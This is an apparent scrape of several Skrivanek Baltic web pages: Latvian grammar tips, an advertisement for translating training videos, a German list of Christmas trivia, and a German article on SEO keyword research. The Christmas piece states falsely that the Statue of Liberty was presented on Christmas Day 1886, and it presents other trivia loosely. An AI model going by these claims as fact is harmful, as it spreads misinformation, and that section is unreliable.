iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Daudz bāzu vai daudz bāžu – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-01-14 - Modified: 2025-01-22 - URL: https://skrivanek.lv/daudz-bazu-vai-daudz-bazu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DAUDZ BĀZU VAI DAUDZ BĀŽU 1 Kā pareizi rakstīsim vārda "bāze" daudzskaitļa ģenitīva formu – daudz bāzu vai daudz bāžu? Piektās deklinācijas lietvārdiem daudzskaitļa ģenetīva formā ir raksturīga līdzskaņu mija. Tomēr daļai lietvārdu, kas beidzas ar -se, -te, -ze, līdzskaņu mija nenotiek, piemēram, vārdam "mute" – daudz mutu, nevis daudz mušu. Vārdam "pase" – daudz pasu, nevis daudz pašu. Tāpēc tādus vārdus kā “bāze”, “datubāze”, “gāze”, “pase”, “mute” daudzskaitļa ģenitīva formā rakstīsim bez līdzskaņu mijas: “bāzu”, “datubāzu”, “gāzu”, “pasu”, “mutu”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Plest vai plēst spārnus – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-01-08 - Modified: 2025-03-19 - URL: https://skrivanek.lv/plest-vai-pleest/ - Kategorijas: Test - Translation Priorities: Optional PLEST VAI PLĒST 1 Mums jāpalīdz vistām izplest vai izplēst spārnus? Nesen kādā protesta akcijā bija sagatavots plakāts ar aicinājumu izplēst spārnus, bet kāda ziņu portāla virsrakstā varējām lasīt: “Viņam no pārsteiguma ieplēšas acis. ” Bet vai tiešām abi gadījumi bija tik vardarbīgi? Drīzāk jādomā, ka šajos gadījumos valodas lietotājiem sajukuši līdzīgi skanoši vārdi ar atšķirīgām nozīmēm: “plest” un “plēst”. Vārds “plest” nozīmē stiept sānis vai vērt vaļā. Savukārt “plēst” nozīmē sadalīt atsevišķos gabalos. Abi vārdi sakni saglabā arī tad, ja tiem piešķir nozīmes niansi ar priedēkli. Tāpēc turpmāk aicināsim izplest spārnus un vērosim, kā citiem pārsteigumā ieplešas acis. Savukārt hematogēna un arī biezpiena sieriņa iepakojumu varam atplēst, bet nevajadzīgu lapu no pierakstu bloknota ļausim sev izplēst. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Uzziniet, kā profesionāla mācību video tulkošana un lokalizācija var palīdzēt tavam uzņēmumam sasniegt starptautisku auditoriju. Sazinies! - Published: 2025-01-07 - Modified: 2025-07-16 - URL: https://skrivanek.lv/macibu-video-tulkosana/ - Kategorijas: Raksti - Translation Priorities: Optional MĀCĪBU VIDEO DARBINIEKIEM TULKOŠANA Dažādu mācību video darbiniekiem tulkošana uzņēmuma vajadzībām Mācību video darbiniekiem mūsdienās ir ierasta prakse gandrīz katrā uzņēmumā un organizācijā – sākot ar plašu mācību video klāstu populārajās tiešsaistes vietnēs Coursera vai Udemy un beidzot ar pašu uzņēmumu rūpīgi gatavotu video saturu darbiniekiem par uzņēmuma darbības specifiku. Ja tavam uzņēmumam nepieciešams apmācīt un izglītot darbiniekus vai tavus tiešsaistes produkta lietotājus dažādās valstīs, mācību video ir piemērotākais risinājums. Taču, cenšoties sasniegt starptautisko auditoriju, ir ļoti svarīgi pievērst uzmanību kvalitatīvam satura tulkojumam un lokalizācijai. Un tieši to varam nodrošināt mēs – Skrivanek! Dažādu mācību video darbiniekiem tulkošana uzņēmuma vajadzībām Mācību video ir neapšaubāmi ieviesuši nozīmīgas izmaiņas izglītībā, zināšanu un zinātības apmaiņā. Tie nodrošina augstas kvalitātes uzskatāmu mācīšanās pieredzi, kas bieži vien izrādās saistošāka un efektīvāka salīdzinājumā ar ierastajiem lasāmajiem teksta resursiem vai prezentācijām. Iepazīšanās ar mācību materiālu, izmantojot vairāk nekā vienu maņu, noteikti ir efektīvāka un saistošāka. Laiks apskatīt, kā tavs uzņēmums var gūt labumu no mācību video tulkošanas. KUR TIEK IZMANTOTI MĀCĪBU VIDEO? Vienā vārdā: visur. Mācību video varat izmantot darbinieku, produkta, lietotnes, sistēmas lietotāju un klientu izglītošanai. Visefektīvāk mācību video palīdz: apgūt jaunu valodu; izprast to, kā darbojas konkrēta ierīce vai lietotne; apgūt jaunu programmatūru; izglītot auditoriju par dažādiem tiesību vai zinātnes aspektiem; un pat palīdzēs pareizi salikt mēbeles! Un, pateicoties tādām video koplietošanas tiešsaistes sociālā tīkla tīmekļa vietnēm kā YouTube, vari publicēt un kopīgot savus video bez maksas un sasniegt auditoriju visā pasaulē, bet ko darīt ar valodas barjeru? Vai mākslīgā intelekta rīki ir risinājums? Kāpēc mācību video ir tik noderīgi? Ir vairāki vērā ņemami iemesli. Pirmkārt, tava auditorija no tiem var mācīties sev vēlamā tempā, no mājām un bieži vien praktiski par brīvu. Pēc koronavīrusa pandēmijas, kad tālmācība kļuva par jaunu digitālās izglītības standartu, tas joprojām ir un būs aktuāli. Otrkārt, tavs uzņēmums var vienu reizi tūkstošiem studentu / klientu parādīt, kā veikt konkrētu darbību – un tas ļauj ietaupīt daudz laika. Tev nav jāorganizē desmitiem dažādu semināru – pat tūkstoši apmācāmo var vienlaikus piekļūt tavam mācību saturam. Visbeidzot, pareizi veidoti mācību video var būt saistoši un ļoti izglītojoši, jo materiāls ir pasniegts ļoti efektīvi un interaktīvi. Nav brīnums, ka tos izmanto tik daudzi uzņēmumi un iestādes. Tomēr, ja vēlies izmantot vienu un to pašu video arī citās valodās runājošai auditorijai, tev ir jāparūpējas par labu tulkojumu un lokalizāciju. Kā tulkot mācību video? Pirmkārt, tev jāsagatavo titri vai subtitri. Ja tādas iespējas tev nav, vari izmantot vēl divas citas iespējas – ierunāšanu vai dublēšanu, taču tās ir dārgākas un prasa profesionālu skaņu studiju, kā arī labus runas speciālistus. Deviņos no desmit gadījumiem standarta mācību video pietiek vien subtitrēt. Subtitrus vari izveidot pats vai izmantot automātisko subtitru izveides programmatūru. Šādām programmām ir daudz priekšrocību! Tās ļauj ātri izveidot subtitrus attiecīgajā valodā un fiksēt precīzu laiku. Tomēr tas ir tikai pirmais solis. Automātiski vai ar mākslīgā intelekta palīdzību izveidotajos subtitros parasti ir daudz pārrakstīšanās kļūdu vai tiek lietoti nepareizi termini (piemēram, tie skan līdzīgi), doma nenolasās un teksts ir “sintētisks”, bet varbūt video saturs ir ļoti konfidenciāls. Tieši šeit darbu sāk valodu uzņēmums Skrivanek. Mēs analizējam automātiski izveidotos subtitrus, transkripciju un pārbaudām izmantoto laikspiedolu pareizību. Daudzos gadījumos ir jāpārbauda arī subtitru garums. Dažkārt teikumi ir nevajadzīgi sadalīti vairākās rindās, bet dažkārt – tieši otrādi, un parādītais subtitrs ir pārāk garš un tāpēc grūti lasāms un doma nav uztverama. Pieņemsim, ka tev jau ir mācību video un subtitri. Tagad tos jātulko citā valodā. Un pie darba ķeras tulkotājs. Katrs subtitrs tiek tulkots un lokalizēts mērķa valodā, lai nodrošinātu, ka gala tulkojums ir ne tikai precīzs un pareizs no tehniskā viedokļa, bet arī dabisks un viegli saprotams citai mērķauditorijai. Kad šī daļa ir pabeigta, tulkojuma datnes tiek nosūtītas korektoram, kuram mērķa valoda ir dzimtā. Kopumā tulkošanas birojam ir: jānoskatās un jāsaprot katra mācību video mērķi; jāpārbauda laikspiedolu pareizība; jāpārbauda automātiski ģenerēto subtitru pareizība; jāveic nepieciešamie labojumi; jātulko uzlabotie subtitri svešvalodā; jāpārbauda tulkojuma pareizība kopā ar korektoru, kam mērķa valoda ir dzimtā. Atkarībā no satura sarežģītības, garuma un mācību video skaita šāds pakalpojums var aizņemt līdz pat vairākām nedēļām. Šajā ceļā ir arī vairāki izaicinājumi, kuriem jāpievērš uzmanība. IZAICINĀJUMI MĀCĪBU VIDEO TULKOŠANĀ Pieņemami vai aizvainojoši? Tā kā MI attīstās straujāk nekā ar IT nozari nesaistīti cilvēki spēj aprast un aptvert, ar mākslīgo intelektu saistāma arī virkne mītu. Viens no populārākajiem – MI atņems cilvēkiem darbavietas. Saprotams, ka mums ir bail no straujām pārmaiņām un to potenciālām sekām, tomēr eksperti norāda, ka cilvēki, kuri gatavi profesionāli augt un iegūt jaunas prasmes, nekad nepaliks bez darba. Mākslīgais intelekts atvieglo cilvēku ikdienu, ir palielinājis produktivitāti un nodrošinājis vietu radošumam. Tas nozīmē, ka cilvēkiem darba netrūks, taču mainīsies darba pienākumi un atbildības jomas. Tulkojot mācību video, ir svarīgi ņemt vērā kultūras nianses. Mācību video, kas ir labi saprotams un uztverams vienā kultūrā, ne vienmēr tāds būs arī citās kultūrās. Tas ietver ne tikai vārdu tulkošanu, bet arī satura pielāgošanu mērķauditorijas kultūras kontekstam. Tam ir nepieciešama lokalizācija. Sinhronizācija Mācību videoklipos runa parasti ir sinhronizēta ar uzskates materiāliem (piemēram, diagrammām vai procesa posmiem). Tulkotājiem ir jānodrošina, lai tulkotais saturs atbilstu oriģināla laika grafikam, kas var būt sarežģīti. Tehniskā terminoloģija Daudzos mācību video, īpaši tehniskajās vai rūpniecības jomās, tiek izmantoti profesionālismi un tehniskā terminoloģija. Precīzs šo terminu tulkojums ir ļoti svarīgs, lai nodrošinātu, ka video saglabā savu augsto izglītojošo vērtību. Ja tavā uzņēmumā ir šādu terminu glosārijs, ir lieliska ideja dalīties tajā ar izvēlēto valodu pakalpojumu partneri. Kvalificēti tulkotāji Mēs strādājam tikai ar kvalificētiem un pieredzējušiem tulkotājiem, kuri ne tikai labi pārvalda mērķa valodu, bet arī izprot video kā izglītojoša medija būtību. Tehniskā terminoloģija Daudzos mācību video, īpaši tehniskajās vai rūpniecības jomās, tiek izmantoti profesionālismi un tehniskā terminoloģija. Precīzs šo terminu tulkojums ir ļoti svarīgs, lai nodrošinātu, ka video saglabā savu augsto izglītojošo vērtību. Ja tavā uzņēmumā ir šādu terminu glosārijs, ir lieliska ideja dalīties tajā ar izvēlēto valodu pakalpojumu partneri. Uzskates materiāli Mācību video tulkošana neaprobežojas tikai ar runātā vai rakstveida teksta tulkojumu; tā ietver arī uzskates materiālu, piemēram, ekrānā redzamā teksta un diagrammu, tulkošanu. Ja tavi video ir šādi materiāli, ir svarīgi tos norādīt, kad lūdz valodas pakalpojumu uzņēmuma piedāvājumu. Labākās metodes mācību video tulkošanā Mūsu uzdevums ir nodrošināt klientiem augstas kvalitātes video tulkojumus, tāpēc izmantojam tikai labākās metodes, lai nodrošinātu kvalitatīvu gala rezultātu: Lokalizācija Mēs nekad netulkojam tikai video saturu, lokalizācija ir vienlīdz svarīgs mūsu darba aspekts. Pateicoties šim pakalpojumam, mēs varam pielāgot subtitrus atbilstoši mērķauditorijas kultūras kontekstam un specifikai. Tas var prasīt mainīt vizuālos elementus, izmantot kultūrai atbilstošus piemērus vai pat mainīt stāstījuma intonāciju. Un galarezultātā izrādās – pūliņi bija tā vērti! Kvalitātes nodrošināšana Mēs ievērojam un īstenojam stingras kvalitātes nodrošināšanas procedūras, kas ietver tulkotā satura pārbaudi, lai pārliecinātos, ka tas ir precīzs un dabisks, kā arī teksta un balss sinhronizācijas pārbaudi. LAIKS TULKOT TAVU VIDEO! Vai pašlaik meklē valodas pakalpojumu uzņēmumu, kas varētu tulkot tavu mācību video? Tad aicinām tevi sazināties ar mums un lūgt bezmaksas cenu piedāvājumu vai pieteikties tiešsaistes konsultācijai. Mēs apsolām, ka darīsim visu iespējamo, lai nodrošinātu, ka tavs video tiks pārtulkots, cik labi vien iespējams. Gaidām tavu pieteikumu! Mācību video tulkošana ir tavs ceļš pretī panākumiem starptautiskā mērogā. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju. Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju. Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus. Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama. Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni. Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas. Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus. --- > Hat der Weihnachtsmann schon immer einen roten Anzug getragen? Wer hat den ersten Weihnachtsbaum geschmückt?🎄 Wissenswertes über Weihnachten - Published: 2025-01-06 - Modified: 2025-07-08 - URL: https://skrivanek.lv/10-interesanti-fakti-ko-tu-nezinaji-par-ziemassvetkiem/ - Kategorijas: Raksti - Translation Priorities: Optional 10 INTERESSANTE FAKTEN, DIE SIE NICHT ÜBER WEIHNACHTEN WUSSTEN Das schönste und am meisten erwartete Fest des Jahres steht vor der Tür - Weihnachten. Glitzernde Lichter, Schnee unter den Füßen und Herzen, die vor Freude höher schlagen. Für manche ist dieser Feiertag nur mit leckerem Essen, einem geschmückten Weihnachtsbaum und Geschenken verbunden, aber es gibt noch viele weitere spannende und interessante Fakten und Ereignisse, weswegen wir diesen Feiertag heute so feiern, wie wir es feiern. Hier sind 10 Fakten, die Sie nicht über Weihnachten wussten: DER WEIHNACHTSBAUM IST EINE HEIDNISCHE TRADITION Für viele ist Weihnachten mit der Geburt Christi verbunden, obwohl die beliebteste Tradition - einen Weihnachtsbaum zu Hause aufzustellen - viel älter ist und nichts mit dem Christentum zu tun hat. Schon im alten Ägypten und Rom schmückte man zur Wintersonnenwende heidnische Häuser mit immergrünen Zweigen, um böse Geister zu vertreiben und die Bewohner an den nahenden Frühling zu erinnern. Diese Tradition wurde mit der Bekehrung zum Christentum fortgesetzt. Der erste schriftliche Beleg für einen geschmückten Weihnachtsbaum stammt aus Riga, Lettland. Männer der örtlichen Kaufmannsgilde schmückten den Baum auf dem Marktplatz, tanzten um ihn herum und zündeten ihn dann an. Im Deutschland des 16. Jahrhunderts begannen dann gläubige Christen, Weihnachtsbäume zu Hause aufzustellen. Im Vereinigten Königreich kam diese Praxis Mitte des 19. Jahrhunderts in Mode, als die berühmte Königin Victoria, Prinz Albert von Sachsen-Coburg und Gotha und ihre Kinder in der Illustrated London News um den Weihnachtsbaum im Schloss Windsor herumstehend gezeichnet wurden. ROSEN UND ÄPFEL ANSTELLE VON DEKORATIONEN Der erste Weihnachtsbaum in Riga wurde mit künstlichen Rosen geschmückt. Rosen werden schon seit vielen Jahren verwendet und gelten als Symbol der Jungfrau Maria. Bis zum 17. Jahrhundert wurden in Deutschland Weihnachtsbäume mit Äpfeln geschmückt. In Teilen Österreichs und Deutschlands wurden sie an der Decke aufgehängt und oft mit vergoldeten Nüssen und roten Papierstreifen verziert. Später wurden auch Bonbons und Süßigkeiten benutzt. Essbare Dekorationen wurden so beliebt, dass Weihnachtsbäume oft „Zuckerbäume“ genannt wurden. Die ersten Artikel, in denen die Verwendung von brennenden Kerzen als Christbaumschmuck erwähnt wird, stammen aus Frankreich aus dem 18. Jahrhundert. EIN WERBETEXTER HAT RUDOLPH ERFUNDEN Rudolph, das rotnasige Rentier wurde 1939 von Robert L. May, einem Werbetexter für das Kaufhaus Montgomery Ward in Chicago, geschaffen. Jedes Jahr verteilte der Weihnachtsmann des Ladens Malbücher an die Kinder. Die Geschichte von Rudolph verkaufte sich im ersten Jahr seines Erscheinens 2,4 Millionen Mal. Interessanterweise wurde Rudolph fast Rollo oder Reginald genannt, heute fast undenkbar. DER GROSSZÜGIGE BISCHOF - DER ERSTE WEIHNACHTSMANN Es wird angenommen, dass die Ursprünge des Weihnachtsmanns auf das 4. Jahrhundert zurückgehen, als ein christlicher Bischof sein großes Erbe an die Armen verschenkte und Frauen aus der Sklaverei rettete. Auf Niederländisch hieß er Sinter Klaas, was später im Englischen zu Santa Claus wurde. WICHTELN IST EINE ALTE TRADITION In der Weihnachtszeit spielen viele gerne Wichteln - ein großartiges Schenkspiel, das man mit Freunden, Familie oder Kollegen spielen kann. Das ist eine westliche Tradition. Vielleicht kam der Philanthrop Larry Dean Stewart auf die Idee, an den Feiertagen anonyme Geschenke zu verteilen. Andere behaupten, dass diese Tradition ihren Ursprung in Skandinavien hat. Obwohl niemand genau weiß, woher diese lustige Tradition stammt, ist sie fast überall auf der Welt bekannt. Es ist auch eine langjährige Weihnachtstradition des Büros Skrivanek. Jeder Kollege wählt den Namen eines anderen Mitarbeiters aus und hinterlässt in der Woche vor Weihnachten kleine Überraschungen für diese Person. Die einzige Regel ist, dass Sie bis zum letzten Tag nicht verraten, dass Sie derjenige sind, der es tut. Bei der letzten Zusammenkunft vor den Feiertagen haben alle die Chance zu erraten, wer ihr Wichtel war. JINGLE BELLS WAR EIN LIED FÜR EIN GANZ ANDERES FEST Tatsächlich war das Lied Jingle Bells für die Feier eines ganz anderen Feiertags gedacht. James Lord Pierpont schrieb Mitte des 19. Jahrhunderts für sein Erntedankkonzert in der Kirche ein Lied namens One Horse Open Sleigh. Das Lied wurde 1857 unter dem Namen, den wir alle kennen und lieben, neu aufgelegt. Auch heute noch ist es eines der beliebtesten Weihnachtslieder und wurde in über 70 Sprachen übersetzt. DAS ERSCHEINEN DES WEIHNACHTSMANNES Wir stellen uns den Weihnachtsmann als einen gemütlichen, grauhaarigen Mann mit rotem Anzug und roter Mütze vor, aber historisch gesehen ist dies unklar. Manche behaupten, dass das Erscheinungsbild des Weihnachtsmanns von Coca-Cola geschaffen wurde, aber das stimmt nicht. Clement Clarke Moore machte 1823 in seinem Gedicht „Twas the Night Before Christmas“ den Weihnachtsmann, wie wir ihn heute kennen, populär. Die Illustrationen des Karikaturisten Thomas Nast aus dem Jahr 1881 zu Moores Gedicht sind zu einer Ikone geworden und haben dazu beigetragen, das heutige Bild des Weihnachtsmanns zu prägen. Coca-Cola beantragte erst 1931 eine Darstellung des Weihnachtsmanns. DAS GRÖSSTE GESCHENK IST DIE FREIHEITSSTATUE Es stellt sich heraus, dass die Freiheitsstatue in New York das größte Weihnachtsgeschenk der Welt ist. Sie ist 93 Meter hoch und 225 Tonnen schwer. Sie wurde den Vereinigten Staaten am Weihnachtstag 1886 von Frankreich zum Gedenken an die französisch-amerikanische Allianz während der amerikanischen Revolution geschenkt. DIE DREI WEIHNACHTSFARBEN Tatsächlich wird Weihnachten nicht nur durch zwei, sondern durch drei Farben dargestellt. Rot, Gold und Grün! Die Farbe Grün ist seit langem ein Symbol für Leben und Wiedergeburt, Rot symbolisiert das Blut Christi und Gold steht für Licht und Reichtum. WEIHNACHTEN WIRD WELTWEIT FAST ÜBERALL GEFEIERT Wussten Sie, dass Weihnachten in mehr als 160 Ländern der Welt amtlich gefeiert wird? Auch in etwa 20 anderen Ländern nehmen die Menschen an einigen Traditionen teil und feiern Weihnachten, auch wenn es nicht ihr offizieller Feiertag ist. Skrivanek wünscht Ihnen ein frohes, schönes und warmes Weihnachtsfest! Tschechisch - Veselé Vánoce! Dänisch - Glædelig Jul! Finnisch - Hyvää Joulua! Französisch - Joyeux Noël! Deutsch - Fröhliche Weihnachten! Griechisch - Καλά Χριστούγεννα / Kala Christougena! Italienisch - Buon Natale! Norwegisch - Gott Jul! Portugiesisch - Feliz Natal! Spanisch - ¡Feliz Navidad! --- > Es ist wichtig, bei der Erstellung einer Website oder einer Marketingkampagne nach Schlüsselwörtern zu suchen. - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/kas-ir-atslegas-vardu-izpete-ka-piesaistit-merkauditoriju-tiessaiste/ - Kategorijas: Raksti - Translation Priorities: Optional WAS IST DIE KEYWORD-RECHERCHE? WIE KÖNNEN SIE IHR PUBLIKUM ONLINE ERREICHEN? Fast 70% der Online-Aktivitäten beginnen mit der Suche in Suchmaschinen wie Google. Auf diese Weise kann jeder Internetnutzer das gewünschte Produkt oder die gewünschte Dienstleistung, Antworten auf Fragen und andere wertvolle Informationen finden. Dafür muss man einfach nur einen Satz oder Wort in das Suchfeld eingeben. Die Suchmaschine wählt genau die Ergebnisse aus, in denen diese Wörter oder Ausdrücke gefunden werden und zeigt sie an. Je relevanter der Inhalt für die gesuchten Schlüsselwörter ist, desto höher wird er eingestuft und er wird auf den ersten Seiten der Suchmaschinen platziert und ist besser sichtbar. Die Content Creator müssen das spezifische Thema und die Branche recherchieren, um ihre Zielgruppe anzusprechen. Bevor Sie also Ihre Inhalte erstellen, sollten Sie recherchieren, welche Schlüsselwörter relevant sind. Sie gilt für die Erstellung neuer Websites und digitalen Marketingkampagnen. Ziel der Keyword-Recherche ist es, herauszufinden, wonach Ihre Zielgruppe online sucht und die relevantesten Schlüsselwörter zu ermitteln, damit Ihre Inhalte ganz oben in den Suchmaschinenergebnissen erscheinen. WARUM IST DIE KEYWORD-RECHERCHE SO WICHTIG? Das Internet ist unermesslich, ebenso wie die Menge der darin enthaltenen Informationen. Wenn Sie möchten, dass Ihr Publikum Ihre Website findet, egal ob es sich um eine Unternehmenswebsite, einen Onlineshop oder einen Blog handelt, müssen Sie eine SEO-Strategie (Suchmaschinenoptimierung) entwickeln. Die Recherche nach Schlüsselwörtern ist ein wichtiger Teil davon. Wenn Sie Ihre Zielgruppe nicht kennen und nicht wissen, welche Schlüsselwörter sie verwenden würden, um den spezifischen Inhalt zu finden, ist es unmöglich, die Website zu optimieren oder den Inhalt an die Bedürfnisse Ihrer Zielgruppe anzupassen. Das kann nur eins bedeuten: die Zielgruppe erfährt nichts über das spezifische Produkt oder die Dienstleistung, das Unternehmen, den Blog oder eine andere Website und die eingestellten Inhalte „versinken“ in den Tiefen des Internets. In 49% der Fälle erhält das relevanteste Ergebnis für ein bestimmtes Stichwort oder einen Satz auf der ersten Seite von Google die meiste Aufmerksamkeit von Online-Besuchern. Wenn dieser Inhalt erst auf der zweiten Seite erscheint, klicken die Nutzer in weniger als 1% der Fälle auf die einzelnen Ergebnisse. Um die Zielgruppe auf Ihre Website zu locken, müssen Sie die Schlüsselwörter ermitteln, nach denen sie suchen und Inhalte erstellen, die ihrer Suchabsicht entsprechen. Skrivanek empfiehlt, für jede Aktivität im Internet eine Keyword-Recherche vorzunehmen, insbesondere für die Erstellung von Marketingkampagnen oder Websites. So können Sie Ihre Kunden und Ihr Publikum kennen lernen und herausfinden, welche Informationen sie suchen. Sie werden auch feststellen, welche Probleme oder Bedürfnisse Ihre potenziellen Kunden haben und welche Waren und Dienstleistungen sie benötigen. VORTEILE DER KEYWORD-RECHERCHE: ERFOLGREICHE SEO Die Keyword-Recherche ist ein wesentlicher Bestandteil von SEO. Sie ermöglicht es Ihnen, bestimmte Wörter und Ausdrücke zu entdecken, die Menschen bei der Suche nach den von Ihnen angebotenen Produkten und Dienstleistungen verwenden. Mit einer effektiven Keyword-Recherche können Sie eine SEO-Strategie entwickeln, mit der Sie die besten und relevantesten Wörter und Phrasen in den Inhalt Ihrer Website aufnehmen können. Dies wird die Position Ihrer Website bei Google verbessern und Ihnen helfen, bei Schlüsselwörtern, nach denen Kunden suchen, um Unternehmen wie das Ihre zu finden, weiter oben zu rangieren. Spezifischere Schlüsselwörter ziehen relevante Nutzer und potenzielle Kunden auf Ihre Website. GROSSARTIGE INHALTE ERSTELLEN KÖNNEN Menschen suchen das, was sie interessiert. Die Nutzer verwenden Google als Assistent, Berater und Unterhalter. Dank Schlüsselwörtern können Sie Inhalte erstellen, die den Bedürfnissen Ihrer Zielgruppe entsprechen und deren Fragen beantworten. Die Keyword-Recherche liefert eine nutzerorientierte Inhaltsstrategie, die Ihr Publikum anspricht und wachsen lässt. Gute Inhalte bauen das Image eines Unternehmens auf, schaffen Glaubwürdigkeit und einen Mehrwert und bauen Beziehungen zum Publikum auf. Außerdem können Sie sie mit dem Wissen versorgen, das sie benötigen, um in der Customer Journey (der Reise des Kunden) bis zum Kauf voranzukommen. ERHÖHT DAS POTENZIAL DER WEBSITE 92,96% des Website-Traffics kommt von der Google-Suche, Google Bilder oder Google Maps. Wenn Sie wollen, dass Ihre Website wahrgenommen und besucht wird, müssen die Nutzer sie auch finden können. Die Anzahl der Besucher auf der Website hängt von der Beliebtheit der gewählten Schlüsselwörter 